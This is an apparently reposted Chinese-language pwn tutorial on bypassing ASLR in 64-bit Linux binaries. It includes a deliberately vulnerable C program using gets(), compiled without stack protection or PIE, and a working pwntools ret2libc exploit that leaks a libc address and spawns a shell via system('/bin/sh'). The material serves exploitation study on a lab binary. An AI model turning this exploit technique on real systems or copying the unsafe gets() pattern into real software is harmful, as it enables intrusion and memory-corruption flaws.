pwn学习--64位绕过地址随机化

0x01 64位与32位的区别

在此篇文章之前,一直都讨论的是32位的情况,不过现在已经2020年了,64位程序逐渐成为主流。所以研究64位的程序也是非常必要的

开始之前,我要先理清一个知识点:x86指的是cpu的架构,x64是cpu位数,我们通常用的x64的全称叫x86-64,也就是说x64是x86架构的64位cpu。而之所以用x86代表32位系统,是因为32位cpu占据了很长一段时间,所以习惯性的用x86代表32位cpu,是一种通俗用法罢了,是不严谨甚至有误的。
区别:
1.首先是内存地址的范围由32位变成了64位,x64可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。
2.函数参数的传递方式:x86中参数都是保存在栈上,因为64位程序有了更多的通用寄存器, 所以通常会使用寄存器来进行函数参数传递而不是通过栈, 来获得更高的运行速度。在x64中的前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9中,如果还有更多的参数的话才会保存在栈上。

64位汇编
当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。
当参数为7个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样。

0x02 一个示例

#include<stdio.h>
#include<string.h>
#include<stdlib.h>

char buf2[10] = "this is buf2";
void vul()
{
        char buf1[10];
        gets(buf1);
}

void main()
{
        write(1,"sinxx",5);
        vul();
}

编译(没有-m32,就是编译成64位的)

gcc -no-pie -fno-stack-protector -o 10.exe 10.c

可以checksec 10.exe看看,的确编译成了64位的
在这里插入图片描述
接下来开始查看溢出点

cyclic 100
cyclic -l aafa

这里和32位主要的一个区别是 如何确定这里的aafa,可以看ret后面的地址前四位,由于小端序,反转过来后对应的就是aafa,可是这样看起来比较麻烦,如图我们可以取栈顶的前四位。
在这里插入图片描述在这里插入图片描述
接下来我们就要开始写exp

我们还是要先找到gets的真实地址,然后利用相对偏移找到system和“\bin\sh”的地址

我们之前提到x86中参数都是保存在栈上,但在x64中前六个参数依次保存在RDI, RSI, RDX, RCX, R8和R9寄存器里
如果还有更多的参数的话才会保存在栈上,所以我们需要寻找一些类似于pop rdi; ret的这种gadget
如果是简单的gadgets,我们可以通过objdump来查找
但当我们打算寻找一些复杂的gadgets的时候,还是借助于ROPgadgets来查找寄存器

 ROPgadget --binary 10.exe --only "pop|ret"

在这里插入图片描述

0x00000000004011db : pop rdi ; ret
0x00000000004011d9 : pop rsi ; pop r15 ; ret

1.发现没有rdx的,不过也没关系,write函数前面两个是关键
2.找到pop rsi;pop r15;ret 我们构造payload时,需要两个值压栈。

from pwn import *
#context(arch="amd64",os="linux",log_level="debug")
p=process("./10.exe")
e=ELF("./10.exe")
addr_write=e.plt["write"]
addr_gets=e.got["gets"]
addr_vul=e.symbols["vul"]
addr_rdi=0x4011db
addr_rsi=0x4011d9

offset=18

#print pidof(p)
pause()

payload1=offset*'a'+p64(addr_rdi)+p64(1)+p64(addr_rsi)+p64(addr_gets)+p64(1)+p64(addr_write)+p64(addr_vul)
p.sendlineafter("sinxx",payload1)

gets_real_addr=u64(p.recv(8))
#gets_real_addr=u64(p.recv()[:8])

#print hex(gets_real_addr)

libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
rva_libc=gets_real_addr-libc.symbols["gets"]
addr_system=rva_libc+libc.symbols["system"]
addr_binsh=rva_libc+libc.search("/bin/sh").next()

payload2=offset*'a'+p64(addr_rdi)+p64(addr_binsh)+p64(addr_system)
p.sendline(payload2)
p.interactive()

对exp的理解:

payload1=offset*'a'+p64(addr_rdi)+p64(1)+p64(addr_rsi)+p64(addr_gets)+p64(1)+p64(addr_write)+p64(addr_vul)

x64中前六个参数依次保存在RDI, RSI, RDX, RCX, R8和R9寄存器里,所以write函数的参数分别放在了rdi,rsi,rdx寄存器里面,

然后使用pop xxx ;ret 使rdi寄存器里的值为1,使rsi寄存器里的值为gets的真实地址,r15寄存的值是1(这不是重点),这里rdi的值没有限制,不过也不影响

然后是call write函数,先将vul函数的地址压栈,然后再去执行write函数,执行完后就可以再次利用vul里面的gets函数溢出,执行payload2。

payload2=offset*'a'+p64(addr_rdi)+p64(addr_binsh)+p64(addr_system)

这个先让/bin/sh的地址到rdi寄存器里里面,system函数调用会需要一个参数,也就是这个rdi,所以payload2就是调用system“/bin/sh”

运行:
我这个运行起来有个很尴尬的场景,可以getshell不过中间出现了好多/x00
在这里插入图片描述在这里插入图片描述

0x03 参考文章

https://www.cnblogs.com/wintrysec/p/10493583.html
http://blog.sina.com.cn/s/blog_6053551a0102x5my.html

猜你喜欢

转载自blog.csdn.net/qq_44108455/article/details/105520176